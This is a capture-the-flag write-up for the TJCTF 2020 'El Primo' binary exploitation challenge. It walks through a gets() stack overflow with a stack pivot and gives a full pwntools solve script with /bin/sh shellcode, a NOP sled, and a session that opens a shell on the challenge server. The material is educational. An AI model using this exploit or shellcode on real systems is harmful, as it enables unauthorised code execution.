El Primo was a pwn challenge from TJCTF 2020 which supplied a binary. The results of running the binary are seen below, along with a disassembled version of the main function, generated by Ghidra.

michael@computer:~/Documents/CTF/elprimo$ ./primo 
What's my hard counter?
hint: 0xffbdd480
AAAA

We can see that we are given an address on the stack of a variable called “hint,” and the dangerous “gets” function is called on the variable. This address could be useful for jumping to shellcode as long as NX is disabled. Using checksec confirms our suspicions.

michael@computer:~/Documents/CTF/elprimo$ checksec ./primo
[*] '/home/michael/Documents/CTF/elprimo/primo'
    Arch:     i386-32-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      PIE enabled
    RWX:      Has RWX segments

After seeing this, I jumped into GDB to have a look under the hood. Since PIE (position independent execution) is enabled, we know that the addresses of the instructions will not be constant. For this reason we need to use “b main” and “r” to start debugging the binary without referencing any addresses before they have been initialized.

(gdb) b main
Breakpoint 1 at 0x61c
(gdb) r
Starting program: /home/michael/Documents/CTF/elprimo/primo 

Breakpoint 1, 0x5655561c in main ()
(gdb) 
(gdb) disas main
Dump of assembler code for function main:

...

   0x5655568c <+127>:	call   0x56555480 <printf@plt>
   0x56555691 <+132>:	add    esp,0x10
   0x56555694 <+135>:	sub    esp,0xc
   0x56555697 <+138>:	lea    eax,[ebp-0x28]
   0x5655569a <+141>:	push   eax
   0x5655569b <+142>:	call   0x56555490 <gets@plt>
   0x565556a0 <+147>:	add    esp,0x10
   0x565556a3 <+150>:	mov    eax,0x0
   0x565556a8 <+155>:	lea    esp,[ebp-0x8]
   0x565556ab <+158>:	pop    ecx
   0x565556ac <+159>:	pop    ebx
   0x565556ad <+160>:	pop    ebp
   0x565556ae <+161>:	lea    esp,[ecx-0x4]
   0x565556b1 <+164>:	ret    
End of assembler dump.

The last few instructions are very interesting. Whenever pop ecx is called, a value from off the stack (which we control) is stored into the ecx register. The last instruction before the return loads ecx - 4 into esp, the stack pointer. Whenever the return is called, the instruction pointer will jump to the return pointer on the top of the stack. Since we control the stack pointer, we also control the return pointer. All that is left to do is to find which position on the stack is “pop”ed into ecx. This position turns out to be right after the 32 byte “hint” variable. Whener we put a value into ecx, we must also take care to add 4 since it is subtracted in the second-to-last instruction. So far we have something like the following…

'A' * 32 + (desired_esp + 0x4)

What we have so far will put the stack pointer in the desired place but does not write any return pointer. Since the desired_esp will be point right after what we have so far, we can just append our desired return pointer to the end of the string.

'A' * 32 + (desired_esp + 0x4) + somewhere_in_nopsled

All that is left to do now is to add our nopsled and shellcode!

'A' * 32 + (desired_esp + 0x4) + somewhere_in_nopsled + nopsled + shellcode

This same principal is shown in my solve script below. Since the leak indicates the address of the (start of the) 32 byte buffer, we need to adjust our desired esp accordingly.

from pwn import *

p = remote('p1.tjctf.org', 8011)

p.recvline()

shellcode = '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80'

leak = int(p.recvline().split(' ')[-1], 16)

# payload = padding + (desired_esp + 4) + return_pointer + nopsled + shellcode
payload = 'A' * 32 + p32(leak + 36 + 4) + p32(leak + 65) + '\x90' * 60 + shellcode

logging.info('Sending payload using leak %s' % hex(leak))

p.sendline(payload)

p.interactive()

Running the script gives us a shell on the challenge server, allowing us to retrieve the flag. I hope this was helpful!

michael@computer:~/Documents/CTF/elprimo$ python elprimo.py 
[+] Opening connection to p1.tjctf.org on port 8011: Done
[*] Switching to interactive mode
INFO:pwnlib.tubes.remote.remote.140163721894352:Switching to interactive mode

$ cat flag.txt
tjctf{3L_PR1M0O0OOO!1!!}